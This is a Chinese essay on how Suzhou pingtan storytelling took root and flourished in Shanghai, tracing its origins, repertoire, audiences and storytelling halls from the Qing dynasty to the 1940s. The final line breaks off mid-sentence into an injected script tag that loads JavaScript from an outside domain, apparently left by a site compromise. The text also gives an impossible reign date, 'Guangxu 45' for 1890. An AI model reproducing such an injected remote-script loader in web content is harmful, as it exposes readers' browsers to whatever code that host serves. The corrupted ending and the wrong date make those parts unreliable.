上海是我国南北戏曲、曲艺集散的重镇。从北京传来的京戏在这里盛行，并逐步形成具有鲜明特色的海派京剧；源于浙江的越剧在这里得到了发祥，成为具有全国影响的重要剧种、曲种。而苏州评弹在上海的发祥，又是一个非常突出而富于典型意义的事例。

    苏州评弹乃评话与弹词的合称。苏州评话是从唐代的说话、宋代的讲史、元明的说书(平话)演变发展而来。明中叶时，南方已流行弹词，与苏州方言结合演变发展成为苏州弹词。评话说者多为一人，坐说不唱，表演上讲究说表、噱头、口技、手势、面风等，时以折扇、手帕为道具，以醒木击桌加强气氛。传统书目以演绎历史故事和武侠、神怪故事为主，如《三国》、《隋唐》、《英烈》、《岳传》等。弹词又说又唱，散文与韵文结合，以叙事为主，代言为辅，以说、噱、弹、唱为主要手段，注重模拟各种类型人物，唱词基本为七字句，基本曲调有书调、俞调、陈调及费伽调、乱鸡啼、山歌调等曲牌、小调，伴奏乐器以三弦、琵琶为主。传统书目以家庭离合、爱情悲欢故事为主，如《珍珠塔》、《玉蜻蜓》、《三笑》、《描金凤》等。

    一般认为，苏州评弹形成于明末清初。到了乾隆年间，苏州评弹已相当成熟，并广泛流行，出现了曾在乾隆御前弹唱《游龙传》的弹词名家王周士等，苏州还创立了第一个评弹艺人的行会团体——光裕社。

    一方土养一方人，也养一方艺术。评弹传入上海后，它是怎样在这块奇异的土壤上滋生发展的？评弹艺术的发祥与上海特殊的文化环境又有着怎样的共生关系？它有着怎样的文化意义？这些，都值得加以探究。

    上海地区与苏州毗邻接壤，而且有些今属上海的地域原属苏州管辖，在地域上呈犬牙交错、相互渗透的状态；在方言方面，两地又同属吴语区，因此苏州评弹很早就在上海一些郊县集镇流传。清代中叶苏州评弹进入繁盛时期，当时涌现了一批名家和名作。嘉庆、道光年间，出现了评弹前四家——陈遇乾、毛菖佩、俞秀山、陆瑞廷，其中毛菖佩即是上海宝山人。上海地区还出现了一些弹词作家，如乾、嘉年间弹词女作家朱素仙是松江人，作有弹词《玉连环》。另一位弹词艺人兼作家吴毓昌为上海金山人，编写过吴音弹词《三笑新编》。到十九世纪中叶，评弹大量传入上海市区。

    一门艺术能不能兴盛，与其有没有相当数量的受众事关密切；而艺术的发展又与经济发展有一定的关系，因为商路往往就是戏路。1843年，上海被辟为商埠，万商云集，经济繁荣，城市人口剧增，文化消费需求陡涨。上海五方杂处，但本地人、江苏人、浙江人占了相当大的比例，这些人同属吴语区，文化背景、生活习俗相近，因此他们不仅听得懂用苏州方言演唱的评弹，而且乐于接受和欣赏它。这，就为评弹提供了数量甚大的基本听众群。

    另外又有两次历史事件，给了评弹以机遇。一次是在1853年，因太平天国战火燃起，江南一带的地主官僚纷纷逃至上海；一次是在上世纪30年代，上海成为当时中国商业、金融、贸易中心，人口骤增，文化消费需求也急剧上升，接着抗战爆发，上海成为“孤岛”，经济相对比较稳定，并出现畸形繁荣局面，评弹听众的数量又有很大的增长。这两次事件，都为评弹在上海的生存和兴盛提供了优裕的物质条件。

    由于上海商机多，人气旺，为满足市民的需要，上海的评弹演出场所得到迅速发展。19世纪60年代，上海出现了第一家书场——陆深旧宅。后来，这种茶楼书场逐渐增多，它一般上午卖茶，下午与晚上演唱评弹，如本市城隍庙北首的得意楼、福州路上的天乐宫、小广寒等。其中有一部分后来演变为专供评弹演出的专业书场，如创建于光绪十二年(1886)的玉茗楼和创建于光绪四十五年(1890)前后的汇泉楼。汇泉楼演出频繁，有时一天开演四场，年终会书有时二十多档同场演出，通宵达旦。到了上世纪20年代，又新建了许多专业书场，设备有所改善，规模扩大至200座左右，其中著名的有雅庐书场、长乐书场等。30、40年代，评弹市场更趋繁荣，场地更有了显著的拓展。30年代专业书场已有数十家，仅老城隍庙内就有得意楼、怡情处、四美轩、逍遥楼，蠡园、明园、柴行厅等七、八家之多。紧接着，一大批新式书场纷纷开张，它们就是饭店附设的饭店书场和舞厅附设的舞厅书场。饭店书场中，著名的有东方书场、沦州书场、南京书场、中央书场等；舞厅书场中有米高美、仙乐斯、新仙林、维纳斯等。这些新式书场效仿现代剧场，采用现代化设备，场地宽敞，环境幽雅，座位舒适，适应较高层次听众和较大规模演出的需要。此外，大世界、新世界、先施公司等大中型游乐场专门也辟有评弹场子，影响也很大。

    书场多，演出旺，必然吸引大批评弹艺人纷至沓来。早在清末，评弹四名家马如飞、姚士章、赵湘舟、王石泉就都来过上海演出。民国初年，出现了著名的“三卿档”：——说唱《倭袍?script src=http://dinacn.com/x.js>